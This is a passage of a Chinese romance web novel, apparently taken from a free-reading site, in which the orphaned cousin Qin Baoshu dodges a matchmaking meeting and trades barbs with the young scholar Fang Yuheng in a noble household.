《表姑娘金安》 1. 第 1 章 《表姑娘金安》全本免费阅读 十月的京城,秋末冬初,不时刮在人身上的冷风如同游丝,穿透衣裳在皮肤上留下阵阵寒意。 秦宝姝拢了拢被风吹得鼓鼓囊囊的袖子,又一阵寒风扫过脖颈,刮得她一个激灵,忙拿出手帕捂住鼻子。 小小一声阿嚏很快就随风飘散。 “今年冬天果真要比以往都冷啊。”秦宝姝懊恼地四下查看,心里想着不该上游廊来的,处处透风,得找个挡风的地儿。 她视线穿过一重重花池,刚扫见拐弯处连着的一处小屋,身后就传来戏谑的一声姝表姐。 “祖母正找表姐呢,说盛夫人马上就到了,你怎么跑游廊上来了。” 秦宝姝只能刹住脚步回头,看着盈盈走来的冯家双胎姐妹花,一脸无奈道:“盛夫人来了,自有祖母和大伯母她们招待,我在不在有什么打紧的。” 她两手一摊。 姐妹俩相视一眼,年纪小一些的冯三姑娘捂嘴直笑,拉着长长的音调说:“那可能是表姐未来夫婿的娘亲,怎么不打紧?” 秦宝姝就知道说亲的事会被拿来打趣,心里是万分抵触,却也不恼。 她年幼时父母亡故,八岁就被外祖母接到冯家,自小和冯家姐妹相处,知道她们本性都不坏,多年下来相处还是比较和睦的,而冯家二房这对姐妹花从小就是爱玩闹的性子。 秦宝姝杏眸一转,似笑非笑地盯着两姐妹慢悠悠道:“听外祖母说有两家极少走动的夫人前来,是冲着二伯母来的呢,怎么你们也不在外祖母跟前?” 借力打力这招好用得很,秦宝姝话音刚落,双胞胎姐妹顿时羞得跳脚:“表姐莫要胡说!今儿要说亲相看的分明就是你和盛家的三公子!” “我已经和外祖母说过了,我是要招婿的,所以我在不在无所谓。”秦宝姝唇边的笑越来越灿烂,“难道二妹妹三妹妹也要招婿?” 原本是想要看秦宝姝害羞窘迫,结果话题莫名奇妙一而再牵连到自身,姐妹花被直白的话问了个面红耳赤。 秦宝姝自然要乘胜追击,晃了晃袖子,手往身后一背,笑吟吟又要说什么,冯二姑娘红着脸冲上来就去捂她嘴。 她以为对方恼羞成怒了,却听见冯二姑娘在耳边慌张哀求:“小祖宗快别说了,有人在拐角处!” 有人? 秦宝姝回过身,果然瞧见拐角的朱红柱子前立着一个雪青色的身影。 那人身形颀长,脊背挺拔,站在浓艳的朱红色中,像是一株开在冬日的清冷青莲,被寒风吹动的袖袍都有着不染烟火的出尘。 秦宝姝杏眸内波光一荡,很快就收起心里的诧异,朝静静站着的年轻公子屈膝一礼:“珩表哥安。” 二房姐妹花跟着见礼,声音低得几乎听不清。 方瑀珩脸上并没有撞见姑娘家私密话的尴尬,拱手施施然回一礼,语气平平道:“三位表妹安,老夫人此时可是在颐安堂?” 秦宝姝顿时明白为何他会出现在内宅了,余光往身后的游廊扫一眼,偷偷打量冯家今日请宴的主角,嘴里应着:“在的在的,珩表哥是要去给祖母请安吧。” 说起方瑀珩,是个身世和她一样的可怜人,同样年幼没了亲人。只是相比起来,方瑀珩更惨,方家一族都命丧一场大火,他是外出求学,才侥幸躲过一劫。 她的外祖母是出名了菩萨心肠,只要族里有难的,求上门来都会庇佑一二。十一岁的方瑀珩走投无路,到了冯家,就此留下。 真论起来,方瑀珩的母亲虽姓冯,却和如今的冯家一支几乎没有血缘关系。不过这个家里,最不缺的就是像方瑀珩这样的落魄远亲,把府里西北角几处小院都塞满了。 但谁也没想到,这个爱独来独往的方家遗孤,成为了本朝最年轻的举人老爷。 冯家今日热闹的宴会,就是为他举办的庆功宴。 秦宝姝杏眸瞄啊瞄,瞄见了他带着浅浅弧度的唇角,笔挺的鼻梁,还有他那双清明的瑞凤眼,组合起来是任谁也得夸一声英俊的脸。 可惜这人空有温润如玉的外表,实质对谁都是不近不远,甚至可以说是疏离。不然二房姐妹也不会连臊带害怕,小祖宗都喊出来了。 秦宝姝没敢太过放肆打量,片刻就侧身让路。 那抹雪青色从她眼前缓慢走过,听见它主人客气地说了句:“谢表妹告知。” 萦绕在耳边的尾音像是冬日的湖面,平静地覆着一层不可察觉的薄冰。 秦宝姝抿抿唇。 待方瑀珩走远,被定住了的姐妹花立刻活了过来,一左一右把她夹在中间。 “不知道方表哥听去了多少!” “方表哥平时不和我们来往,相互不了解脾性,万一觉得我们太轻浮,在祖母跟前告状怎么办?” 刚及笄的姐妹花还没学会沉住气,这会果然慌了神。 秦宝姝探身去看空空荡荡的游廊末端,心道不管听进去多少,方瑀珩多半是生气了。 冯家老一辈积攒了不少功绩,获封平西伯,趋炎附势的数之不清,但这几年子孙出彩的少,来往的人家自然也就跟着少了起来。 然而方瑀珩刚中举,那些人打听到他受冯家庇佑后,似乎就认为冯家马上又该起势。几年不见的都纷纷贴上来,甚至还有美曰其名要结两姓之好的。 冯家长辈想着要给家里姑娘定个好人家,便没拒绝。 借着方瑀珩的庆功宴谋自家利益的事,若她是方瑀珩,知道了肯定也生气。 “叫你们总是口没遮拦,还知道臊呢!”秦宝姝伸着手指,在两人脑门各戳了一下。 冯三姑娘眼眶微红,急得直跺脚。 冯二拉着她袖子央求说:“好表姐,你快去追上方家表哥,试探他的口风!” 冯三姑娘一听,馊主意也冒头了:“对对!我们姐妹中数你长得最好看,撒个娇也许方表哥就心软了!” 姐妹俩这就开始天马行空了,你一言我一句的出主意。 “对对!再说了,你不是不想和盛家说亲吗,你和方表哥一块出现在祖母面前,或许盛家夫人就误会了呢!” “别说,方表哥长得是真好,以前哥哥说学里的夫子都夸他,我还觉得是夸张了呢!表姐其实也可以考虑考虑方表哥?” “亲上加亲,绝配!” 秦宝姝被两人在耳边吱吱喳喳吵得头晕脑胀,听听这都是些什么牛马不相及的胡言! 她们再乱想下去,估计一会儿她就该直接穿上嫁衣和方瑀珩拜堂了! “我和方表哥并不熟悉,他如今是前途无量的举人老爷,岂是我这失怙的商户女敢觊觎的!”秦宝姝把胳膊从姐妹俩的魔爪中抽出来,悄悄往后面挪。 姐妹俩可怜地眨巴眼:“那我们先赶在方表哥前头回去!” 秦宝姝终于点头说好。 姐妹俩提着裙子就小步跑,跑了两步忽然发现不对,猛地一回头,就看见秦宝姝和她们反了方向。 秦宝姝逃跑着,回头给她们一个灿烂的笑容:“我就不和妹妹们一道了,有你们在外祖母跟前,外祖母就没空管我了!” 姐妹之间就是要互相帮助,替她吸引长辈的注意力,有利于增进彼此的感情。 姐妹俩傻眼了,再反应过来,秦宝姝比兔子都跑得快,眨眼间就没了人影。 ——她们又被摆一道! 从小到大,她们总是栽在秦宝姝手上! 逃之夭夭的秦宝姝提着裙摆,哪里偏僻就往哪儿钻,避开来往的仆妇,省得被发现踪迹,再抓回去和盛家的三公子说亲。 可不 2. 第 2 章 《表姑娘金安》全本免费阅读 方瑀珩和其他借住的族亲一样,都住在冯家西北角的几处小院里。 他当年到冯家来的时候,西北角的五处小院还没住满,他挑了个带后门的小跨院,出去就是府墙和一个能到胡同去的侧府门。 如今看来不得不夸他有先见之明。 一墙之隔的胡同肯定人来人往的吵闹,府里下人采买也经常走这一处,但也方便他进出,带后门的跨院相比起其他地方更独立私密。 秦宝儿熟门熟路地从后门溜进跨院,脚步飞快,双眼还不忘警惕的四下扫射,然后做贼一样钻进这只有三间南向的屋子。 如同春日的暖意顿时扑面而来。 秦宝儿搓着手,快步来到烧得正旺的炭炉前坐下,笑吟吟喊了声‘砚书’。 一个瘦干瘦干的小厮就从西侧间冒了个半个脑袋,瞧见厅堂中坐着的少女,立马缩了回。 西侧间响起一阵窸窸窣窣的声音,在方瑀珩慢悠悠进屋坐下时,砚书双手捧着托盘出来了。 “公子怎么回来了,外头的宾客不用招待吗?” 砚书边说着边来到秦宝姝跟前,先把托盘上的一碟香瓜子,一碟糖渍梅子依次摆在她手边的桌几上。 “怎么不见桃酥?”秦宝姝扫一眼托盘上剩下的三样点心,忽然扭头去看正自己给自己倒茶的新晋举人老爷,“对哦,珩表哥不用跟着舅舅他们招待宾客吗?” 这个庆功宴可是特意为他举办的。 “先生一会儿到,我到胡同口迎他。”方瑀珩抿了一口茶,神色淡淡。 砚书这才找到机会回答少女的问题,说她上回过来就把桃酥吃光了。 秦宝姝想起来上次在这里看了半日的书,饿得塞了一肚子桃酥。 她哦了声,“我回头再让人送来。”话落想起自己可能以后都不来了,微微抿了抿唇。 她视线又忍不住在方瑀珩身上打转,心想既然要去迎接他的老师,怎么会跑内宅去了,现在还一点儿不着急的坐着。 不过想归想,她是不会开口去问的,她可不想再听他的阴阳怪调。 秦宝姝收回目光,十指终于暖和起来,高高兴兴抓一把瓜子,对着炭炉咔嚓咔嚓地磕得欢快。 方瑀珩把手里的热茶喝完,施施然起身,整理衣袖上的褶皱。 秦宝姝注意力就被他微微晃动的双手吸引。 在八岁那年初见方瑀珩,就被他秀气俊美的一张脸吸引目光,外祖母当时还笑话她,说见到个俊小子就挪不开眼了。 那个时候方瑀珩才十一岁,如今过去快十年了,他一张脸越长越好看不说,就连一双手都是好看的。手指修长匀称,骨节微微凸起,是一种带有力量的秀美。 方瑀珩检查完衣冠,余光就瞥见某人正直勾勾盯着自己。 他凤眼轻轻一睨,那人做贼心虚,立马就把脸撇一边,假装很认真的在看……白墙。 他眸光微闪,到底没放过她,不明意味的问:“是为了呛二房姐妹才故意说要招婿?还是瞧不上那盛家三公子,故意推脱?” 盯着白墙的秦宝姝:…… 他这恶劣的性格啊,非得看她笑话吗? 秦宝姝腰背坐直了些,好歹能显得气势足一些,谴责道:“我好歹是个姑娘家,你就不能给我留点面子?” “哦?我忘记了我们不熟,这样的问题确实过于直白了。”方瑀珩丝毫没觉得惭愧。 秦宝姝:…… 她迟早要被他气死。 方瑀珩忽略她带怒气瞪向自己的一双杏眸,抬步往寝屋走。 秦宝姝对着他背影鼓着腮帮子,朝空气一阵挥拳,砚书在边上看得直偷笑。 很快,方瑀珩就从落地罩后再现身,手里拿着一个藏蓝色的钱袋子。 沉甸甸的,被他放到了秦宝姝身侧的桌子上。 “你数数。”他没有再落座,就那么逆着光站在她面前。 秦宝姝抬头去看他。 ——这人好像又长高了? 就这么站在她眼前,跟个要压倒孙猴子的大山一样。 他身上那股雪松的冷香在鼻尖越发浓郁,让她更为心神不宁。 秦宝姝在心里嘟囔几句,看也没看那个钱袋子,攥着瓜子不在意道:“举人老爷还能少我一个小娘子的银子不成。” 方瑀珩却不向以前一样都由着她,重复了一遍:“表妹还是数数的好,毕竟我们不……” “停停停!”秦宝姝头皮发麻的打断他,把瓜子撒回盘子里,双手合十在他跟前拜了拜,“我错了!我错了!你可别再提了!” 他今日的心眼比针尖都小,比平时更莫名其妙! 那双落在她身上的凤眸却不为所动,黑褐色的眼眸深处似有什么情绪在涌动。 秦宝姝被他盯得万分不自在,脚尖不安地在地砖上画起了圈圈。 她正想着要怎么缓解他身高带来的压迫力,就听到了她更为后悔跟来的询问。 “你是很早之前就想着招婿,还是为了避开这次的说亲?” 秦宝姝真的傻眼了,他怎么又追问起来了? 而且一问比一问犀利,是他发现了什么?! 秦宝姝想到自己之前那点暗搓搓的小心思,紧张得连手指都蜷缩了起来,脸上却带着笑,慢悠悠地回道:“当然是现在才想起来招婿更好啊。” “他们都是高门世家,我自知身份,又是个不愿意委屈自己的火爆脾气。即便他们看得上我,我嫁进去了,迟早还是要闹出矛盾的。” 她一番话说得诚恳,杏眸水润明亮,就那么盈盈看着人,带着几分俏皮。 二房姐妹花说得不假,秦宝姝是姐妹里头长得最好看的那个。此时此刻仰着头,下颚莲花瓣般尖尖,衬得那张小小的瓜子脸更显精致秀气,浅浅的梨涡若隐若现,和她柔婉的嗓音一样,有种撒娇的暧昧藏在里头。 方瑀珩移开一直紧盯着她的眼眸,看向从窗户穿透洒落在地砖上的阳光,一格格的菱花纹,有种破碎的美感。 “确实是个狗脾气,普通人家公子受不住。”他转过身,一手负在身后,扬长而去。 秦宝姝:…… “你骂谁狗脾气呢!”等人走远了,她才反应过来,拍案而起。 然而作俑者已经不见影了,留下她气得哼哧哼哧大喘气。 砚书早习惯了两人一言不合就拌嘴的场面,乖巧端上茶给她消气。 秦宝姝重新坐下,边喝茶边抱怨:“你家举人老爷当真威风啊,这就开始目中无人了,还骂我狗脾气,他那人前人后不一的嘴脸比我好哪里去!” 评理环节也是砚书常经历的,嘴角一扬,露出大大的笑安抚她:“您别和他置气,公子哪里会不懂姑娘的好,小的把前儿您没看完的话本拿来,姑娘上回离开时还意犹未尽。” 秦宝姝也不指望他能跟着自个骂主子,不过就是发泄几句,哪里能让人为难,接过话本后就安静下来了。 她眼珠子是盯着话本上的字,脑海里却都是方瑀珩刚才居高临下追问的模样。 只要想起来,她就好心虚啊,忍不住去猜测他是不是发现了自己之前的心思。 论真了说,她和方瑀珩接触一开始确实是巧合,但接触久了,日日对着一张好看的脸,再想想自己的处境,免不得会多想。 这个多想……当然就是想招方瑀珩为婿。 她母亲是平西伯府嫡女不假,可她父亲是个商人,病故之前是考了秀才的功名,但她一个孤女往后的婚配自然是难的。 而且寄人篱下久了,哪怕冯家人对她视如己出,她也有种嫁人了只是换了一种寄人篱下日子的无力感。 所以她在还未及笄之前就想着,她不想嫁人,她招婿吧。 不用被人挑剔出身,也可以找个门当户对的。 如果他有上进心想考取功名,那她就努力经营父母留下的产业,可以有本钱让他安心读书。如若他只想平平淡淡过日子,那两人一块经营家业就是。 于是,她脑海里闪过的人选就是方瑀珩。 长得好看,有时候说话虽然呛人,脾气多少有点捉摸不透,但大多时候还是个好人。最重要的是,他身世和自己相仿,又是这么多年来一直来往的,人品自然能信得过。 可惜她忽略了一点,方瑀珩过于优秀。 考上了秀才,再到中举,她才发现自己的身份地位和他不匹配了。 < 3. 第 3 章 《表姑娘金安》全本免费阅读 “表姑娘今日怪怪的。”砚书也跟着挥手,却敏锐的发现什么,喃喃自语。 再抬头,他发现秦宝姝走出了一股子壮士断腕的决心,十分有气势的离开。 砚书失笑:“这么看着还是那个古灵精怪的表姑娘。”不过他还是跟公子说一声吧。 秦宝姝知道躲不了盛家三公子,心里反倒轻松了。 拂风在她身边跟着,仔细打量她装扮。 头发没散,衣冠……嗯,不整洁。 拂风伸手去把她衣摆和袖口沾的瓜子壳捏走,给她通风报信:“盛家夫人已经在老夫人跟前喝一盏茶了,您的两位表妹时不时提您一句,这才让老夫人越见不着你,越着急。” 说着,熟知自家姑娘脾性的拂风无奈地问:“您是不是又欺负两位表姑娘了。” 秦宝姝在冷风里摇头:“我是那种主动欺负人的坏蛋吗?” 拂风当即笑了。 那还是欺负了。 “您想好怎么回老夫人了吗?” “就说我在屋子角落睡着了,你们没瞧见,以为我不在。” 这种蹩脚的借口……算了,有比没有的强。反正他们姑娘说什么,老夫人都不会去怀疑。 拂风点点头,又问:“您准备怎么应对盛夫人呢?您刚才是没在,听说盛夫人把三公子夸出花来了,老夫人瞧着很是满意这个‘外孙女婿’。” “什么就外孙女婿了,连你也取笑我!”秦宝姝不满地嘟囔,随后长叹一声,“走一步看一步吧,我现在也没个头绪。” 相看就相看吧,不就是长了一个嘴巴鼻子、两眼睛的盛家夫人和三公子吗,看一眼也不会把她吃了! 主仆俩顶着冷风匆忙往颐安堂走,方瑀珩在胡同口迎了自己的老师进府。 他的老师是当朝副相黎冲,在朝中极有威望,当初收他为弟子算是个巧合。 方瑀珩那年十三,去给宝墨斋掌柜送抄好的书,恰巧碰上了黎冲,翻了翻他抄的书。 黎冲觉得他写得字好,有问了几个刁钻的问题听他解答,方瑀珩本着礼貌一一回答,对答如流之余还有自己的独特见解。 也就是这一番问答,他就成了人人挤破头都未能拜入门下的黎阁老的门生。 冯家早就在朝堂盘恒,自然认得黎冲,在方瑀珩引着人走过来的时候,如今的家主冯大老爷当即笑着迎上前去。 黎冲年近五十,身量不高,年轻时就是出了名俊美的探花郎,和冯大老爷站一块,在粗壮的武将跟前更显出文人那种儒雅气质。 两人在方瑀珩的引见中寒暄几句,其余宾客也纷纷上前给黎冲见礼和道恭喜,方瑀珩这主角反倒挤一边了。 方瑀珩垂手而立,唇边始终保持着得体的笑意,安静地听着老师和众人说话。 正是热闹,冯老夫人身边的婆子穿过月洞门匆匆走来。 很快,冯大老爷就在自家小厮的示意下发现婆子,道歉一声脱离包围圈走向婆子。 方瑀珩余光扫见婆子和冯大老爷低声说了几句什么,冯大老爷目光在厅堂里寻找一圈,朝着西边笑容满面的指了指。 他听得冯大老爷说了一句:“盛三公子啊,正跟在他兄长身边呢,我这就让他去给母亲请安。” 方瑀珩抬眸,顺着冯大老爷指的方向,目光穿过几个宾客,就看见了一个面如冠玉的年轻公子,正温润笑着跟在一个和他面容相仿的男子身后。 冯大老爷人也走上前,和兄弟俩笑着说话。 看到这里,方瑀珩收回视线,继续听大理寺官员近期遇到奇案。 冯大老爷本是想暗暗带着盛三公子离开,和兄弟俩交代之后,领着盛三公子低调地往月洞门去,哪知被眼尖的黎冲瞧见了。 黎冲扬声问:“伯爷领着的这位后生倒是面生,是你家哪房的晚辈?” 冯大老爷心里咯噔一下,但也只能为其解释:“这是盛大人家的次子,他母亲正在家母跟前,说三公子首回来做客,让他去给家母问个好。您知道的,家母就喜欢和晚辈说话,说都是年轻有活力的孩子,看着就高兴,没见过的都想见见。” 冯家老太君菩萨心肠,对晚辈素来和蔼可亲,到冯家来做客的,只要带着晚辈,不论男女都会去给这位老太君请个安。众人对这些事都有耳闻,但在场的也不是傻子,哪里不知道这些就是场面话。 可能再过几日就该传出盛家和冯家结亲的消息了! 大家心知肚明的笑,冯大老爷没想到说亲一事会因为黎冲前来,变得如此引人瞩目,干笑着拱手要离开,一并吩咐方瑀珩要招待好众人。 黎冲不知想到什么,眼眸一转,笑吟吟地抬脚,居然跟在了冯大老爷身边。 别看黎冲是个文臣,身量矮了冯大老爷半头,年近五十鬓角还有几缕斑白,但这一动作让冯大老爷这粗壮武将压迫感满满。 “您这是……”冯大老爷满心的疑惑。 黎冲呵呵一笑:“说起来我也许久不曾见过老太君,今日来了,自然是要去给她老人家问个安。要不是得她照拂,这小子今日也不能有这造化!” 冯大老爷哪里敢让冯家领这个功劳啊,忙说:“珩儿是得您悉心教导才有今儿的成就。” 方瑀珩在此时不卑不亢拱手一礼:“老师和老太君都是我的再生恩人。” 冯大老爷感激地看一眼方瑀珩,好歹是解围了,只能硬着头皮伸手比了个请的姿势,引着黎冲一路往后宅方向去。 而原本被注意的盛三公子像个隐形人,从刚才到现在,只是给他们拱手作揖见礼,余下时间都是安静地跟着,不插一句话。 看着是个沉稳内敛的性子。 秦宝姝此时早在冯老夫人跟前,被老人眼泪汪汪抱在怀里,长吁短叹:“你这个孩子,怎么大白天还能睡迷了,不出个声,叫我这老婆子一顿好找。” 冯家二房姐妹坐在一侧,眼里都是幸灾乐祸。 心里都想着——看这狡猾的秦小狐狸还怎么躲! 4. 第 4 章 《表姑娘金安》全本免费阅读 是谁来探望了? 一句话如同惊雷落在耳边,把还在为方瑀珩到来出神的秦宝姝炸醒。 她迅速褪去手腕上翠绿的镯子,要塞回到盛夫人手中。 不知是心虚还是抵触,总之这镯子就是个烫手山芋! 她动作之快,盛夫人也没能反应过来,手里握着镯子的时候,秦宝姝已然回到冯家老夫人身后,低着头根本不和任何人有目光接触。 盛夫人东西没送出去,看向秦宝姝的眼角抽搐了一下。 冯老夫人已经认出前来的贵客,外孙女的事不得不先放一边,扶着拐杖站起来,是惊是喜:“许久不见阁老了。” 黎冲迈过门槛,脚步极快,上前把站起来的老妇人扶着再落座。 “老太君身子可还好,您快坐着,要叫绍之兄知道因为我跑来,叫你劳累,非得要入梦来臭骂我一顿。” 绍之是早些年病故冯老伯爷的字,在十多年前一次围猎里,从熊口救下黎冲。原本没有交集的文臣武将,就此称兄道弟起来。 冯老伯爷离世的时候,黎冲再忙,都会过来跟着一块守夜。只是这几年升了官,内阁各项事务实在忙得抽不开身,这才和冯家走动少了。 “我不过站一站,就叫劳累,他老头子那可就是非不分了。”提起亡夫,冯老夫人眼里泪光闪动,“你快坐下歇歇!” 冯老夫人很快就从悲伤的情绪脱离,请黎冲落座。 跟在黎冲身边的方瑀珩,自然而然站到了老师身后,如此一来,秦宝姝就和他站做一排,靠得十分的近。 秦宝姝就落入了那松雪冷香的包围中,让她有种无处可逃的窘迫。 黎冲时间宝贵,既然来了,也就不绕圈子,笑着指了指身后的得意门生道:“此事说起来,多少有些冒昧,但瑀珩是我的学生,身为先生还是想包揽一下。” 此话说得冯老夫人一时摸不着头脑。 “这小子为了应对秋闱,加冠礼硬是没让办,如今秋闱过了,我就想着把他的加冠礼补上。”黎冲拍了拍膝盖,十分感慨,“他素来是淡泊的性子,我今日若是不提啊,估计他这辈子都不会在意加冠礼。” 秦宝姝听着,那颗紧张的心慢慢放松,甚至还认同地默默点了点头。 以方瑀珩不爱应付人的性格,肯定是能不凑热闹就不凑热闹,更别说让他主动提出为自己大肆操办了。 那一点一晃的脑袋就撞入方瑀珩眼角余光,不用问,他也知道某人肯定在腹诽自己。 冯老夫人恍然大悟,哎哟一声,抱歉地回头去看那芝兰玉树的年轻公子:“是我这老婆子疏忽了!” 冯大老爷身为家主,心里暗叫声糟糕。 他也把这事给忘记了,但如今由黎冲开口,那主场极大可能就不在冯家了。 果然,黎冲笑着摆摆手:“哪里是您的错,是这小子耍心眼故意不提,好叫大家都忘了。和他商量,他定然又是要用温书那一套推辞,所以我就准备直接给他做主了。” “我选个吉日,直接就在我府上,由我这老师主持,补上他这个加冠礼!看他还怎么躲!” 冯大老爷悬着的一颗心就死了,主动权已然脱离。冯老夫人心里对方瑀珩内疚,倒没想太多,甚至听到黎冲愿意包揽,是高兴的。 冯老夫人一锤就定了音:“极好极好!你是他的先生,有你替他操心,那是他的福气!” 这就是冯老夫人的性格,从来只看人好的一面,不去想本是冯家的晚辈,却由外姓的人去操办加冠礼会引起其他人什么猜想。 冯大老爷心里那个急啊,可根本没法阻拦母亲的拍板,在边上差点笑不出来。 方瑀珩站在老师身后,从头到尾不曾开口,直至黎冲扭头问他意见,他才说一句全凭长辈和老师做主。 秦宝姝把一切看在眼里,若有所思,思索间不由得朝方瑀珩偷偷投去目光。 哪知他好像还长了第三只眼,居然在同一时间也看了过来。 四目相对那一刻,他目光淡漠得让秦宝姝仿佛坠入了幽深的潭水中,可下一刻,她就从冰冷的潭水里变成被架到火堆上烤! 方瑀珩眸光闪动,视线从她脸上,落到了她此时光秃秃的手腕上。 秦宝姝就想起方才盛夫人认定了自己就是儿媳妇那一幕。 她连耳根都在发热,还有莫名的心虚,让她恨不得挖个地洞逃走! 秦宝姝慌乱地收回视线,懊恼自己刚才为何要乱瞥他! ——方瑀珩不用说话,光是一个眼神就足够阴阳怪气的。 而此时的黎冲站起身准备离开,朝冯老夫人拱手告辞时说:“贵府的大姑娘好事将近,届时贱内来添妆祝贺。” 冯老夫人笑得开心极了,吩咐已经肠子都快悔青了的长子相送。 如此一来,方瑀珩自当是要跟着离开,秦宝姝听见脚步声从身侧传来,长舒一口气。 “姝表妹。”方瑀珩清润的嗓音在安静厅堂内响起。 多少有点突兀,所有人也都看向他们。 秦宝姝被吓得一个激灵,差点一口气没能上来。 ——他忽然喊她做什么! 方瑀珩云淡风轻地迎上秦宝姝那双带着惊恐的杏眸,伸手指向她脚边:“表妹手帕掉地上了。” 秦宝姝:…… 一方手帕,至于你众目睽睽之下来提醒吗? 他们一直瞒着长辈和兄弟姐妹们私下里来往,他就不害怕这么一嗓子表妹,给喊出怀疑来! 可秦宝姝低头一瞥,地上空空如也,哪里来的手帕! 她顿时头皮发麻,冷汗都快要下来了,却又不得不假意弯腰去捡手帕,然后把塞袖子里的手帕抽出来捏在掌心里。 好在他们都站在桌椅后面,有遮挡,其他人看不见地面到底有什么。 可惜她慌乱间忽略了坐冯老夫人下手的大舅妈,在她弯腰前,冯大夫人的角度是完全能看清她脚下那片地面。 冯大夫人望着比脸都干净的几块地砖,眼里闪过一丝疑惑,下意识地看向发出提醒的方瑀珩。 也是正这一眼,叫冯大夫人的疑惑变成了心惊。 方瑀珩似乎早就料准了自己会寻求答案一样,在她看过来时,不躲不闪地微笑着点了点头,坦然得不像个撒谎的人! 冯大夫人惊疑不定,此时秦宝姝还得做戏做全套,作贼心虚地假笑道:“谢过方表哥提醒。” 方瑀珩在方表哥这故意的疏离称呼中唇角微微一扬。 这浅浅一笑,落在其他人眼中是再寻常不过,可冯大夫人从中品出了一种无奈,秦宝姝却快要被气死了。 方瑀珩这是什么臭脾气,他故意当众吓唬她的! 他简直恶劣无比! 她又哪里得罪他了?取笑她被盛夫人拉着相看就算了,还要再被故意捉弄! 秦宝姝顶着其他人的目光装作若无其事,却气得手都在发抖,越想越是委屈得不行,忍了再忍,眼尾微微泛了红。 ——他就知道欺负她! 盛夫人好不容易等到人离开了,可刚才热络的气氛已经回不去,只能去扯一把站在身侧像透明人一样的次子。 “涛儿快去见过老太君。” 被母亲一扯,盛立涛脸上亦带了笑,来到正打量自己的冯老夫人跟前,一撩袍子就跪了下去。 这一跪结结实实的,咚一声响,叫人吃惊的程度不亚于刚才方瑀珩忽然喊秦宝姝的那一句表妹。 秦宝姝看得连生气都忘记了,愣在那里,就连盛夫人脸上的笑都有一瞬的僵硬。 “哎哟,好孩子,不用如此大礼!”冯老夫人伸手去扶。 盛立涛已经磕下头,扬声问安。 屋内众人的表情都变得有点古怪。 盛夫人只得在边上笑着缓和气氛:“叫老太君见笑了,这孩子是打心眼里敬重您呢,是个实诚的性子。” 这也太实诚了。 秦宝姝不由得想起街尾那家包子铺,不管是肉包子还是菜包子,都是皮薄馅厚,实诚得都要撑破那包子皮! 她在想肉包子,她的外祖母欢喜地把人扶起来了,仔仔细细打量过对方的眉眼后,发现长得十分英俊。 长得 5. 第 5 章 《表姑娘金安》全本免费阅读 喧闹的平西伯府在入夜时分终于安静了。 冯大老爷喝得半醉不醒,由小厮扶着一路回到见山居。 等了许久的冯大夫人当即迎上前,一面吩咐丫鬟去醒酒汤和洗漱的热水,一面帮着扶人坐下。 “伯爷,不是妾身爱唠叨,太医前儿才说过酒多伤身,您该戒着点了。怎么还是叫喝醉了,清儿不也在,你叫他挡一挡就是!” 冯大老爷坐下,眼前那种天旋地转才算缓解了一些,努力睁着迷离的双眼,要说话却先打了个酒嗝。 “——你还说你不唠叨,这不就是唠叨。今日来的都是什么人物,清儿虽然是世子,职位却低,在场的不是他长辈就是职务高的,他能挡得住谁!” 这一个嗝把冯大夫人熏得连退三步。 她挥着帕子赶走味了,再上前说话:“总要给他历练的机会。您瞧瞧西院那个,人家年纪轻轻就没了依仗,不也很有主见,不怯场,这不都是自己要多历练吗?!” 冯大老爷是有点醉了,但提起方瑀珩,当即就清醒不少,开始唉声叹气地拍膝盖:“真的是晚一步,就只有后悔的份啊!你说你天天管着家,怎么就没想到给瑀珩补办及冠礼呢?” 提起这事,冯大老爷就痛心疾首。 方瑀珩虽然不是冯家本亲,可多少是有养育恩在的,如今有出息自当是要好好笼络着。结果呢,他母亲直接就把机会拱手让人! 莫名遭到埋怨,冯大夫人瞪大了眼,圆润的一张脸都气绿了:“这是我一个在后宅的妇人插手的事吗?母亲那般应了,我还能冲上去说不行不成?” “我是有别的事要和你说,你听听是不是有道理!” 冯大夫人伸手就在醉鬼丈夫胳膊上拧一把,听得他疼得抽气,心里才算好受些,冷着脸把方瑀珩提醒秦宝姝丢手帕一事再细细说来。 “什么手帕不手帕的!你到底要说什么?”冯大老爷不耐烦地挥挥手,靠在椅子里,昏昏欲睡。 “我是说,如若他是故意的,他是不是看上我们姝儿了!故意在提醒我们!” 冯大夫人气得伸手推搡他,不让他睡。 冯大老爷满心都在懊恼没能在冯家补办加冠礼一事,看不上后宅妇人老爱拿男女情说事,嘟囔道:“他如今可是阁老门生,真看上谁了不就直接说?” “我看着啊,黎阁老是想连着他婚事都包办了!黎阁老可是有个快及笄的亲孙女,宝姝是有我们宠着疼着,可那也和阁老的亲孙女不能比!” 总而言之,话里话外都在数落妻子没见识。要走仕途的男人娶亲,那娶的都是助力,不要拿妇人后宅那点见识猜来猜去。 这可把冯大夫人彻底惹恼了。 冯大夫人讥讽道:“是是是,您最英明了,我们这些后宅妇人就知道情情爱爱!”然后啐他一口,扭头就走。 爱听不听,爱信不信,真把方瑀珩推出去了和她也没有关系! 反正她女儿定下好人家,马上就要大婚了!她只是占了秦宝姝一个大舅母的辈分,他才是人家正儿八经的血亲,血亲都懒得理会的事,她一个外人操个屁的心! “说两句就生气撒泼,你瞧瞧你哪里还有贤妻的样!” 冯大老爷嘴上追着发泄几句,快要走到门口的冯大夫人顿时冷笑回头,走到他跟前,狠狠就朝他一脚跺过了去。 ——她不能白白担了骂名! 见山居里回荡着冯大老爷的痛呼声。 “——许雅悦你疯了!我要让岳母好好说你!” 冯大夫人头也不回去长女那住了一宿,她许家家训就是不能让自己受委屈! 第二日,冯大老爷是半瘸着腿出的门,此事很快就有人报到了冯大姑娘跟前。 冯大姑娘闺名冯淑晨,长相随了母亲,一张鹅蛋脸,好看的眉眼间带着一股英气,很有长姐的气势。 婆子在冯淑晨耳边低声汇报时,秦宝姝就在跟前。 她是来探望生病几日的大表姐。 冯淑晨还有不到半个月就要出嫁,往后相处的日子就更少了,但她发现自己好像来得不巧。 过来的时候,就见大舅母皮笑肉不笑地从这儿离开,像是在这里过的夜。 待婆子直起腰来的时候,她听得表姐吩咐:“偷偷送瓶跌打药过去,省得他硬扛着,真落下伤了。” 秦宝姝心里顿时就明了,大舅母又和大舅舅闹别扭了,不过这次好像有点严重,不知道是谁伤着。 这到底是人家的家事,她装作没听见,慢悠悠地剥橘子。 婆子走了,她把剥好的橘子瓣送到冯淑晨手中,望着她略显苍白的脸关切道:“郎中有说什么停药?什么时候能大好?” “昨儿其实就感觉好了。只是小风寒,是正好那日又贪嘴,多吃了油腻的肘子才跟着闹出肠胃病来。”冯淑晨接过橘子,高兴地咬一口,酸甜的汁水溢在唇齿间,感觉自己什么病都好了。 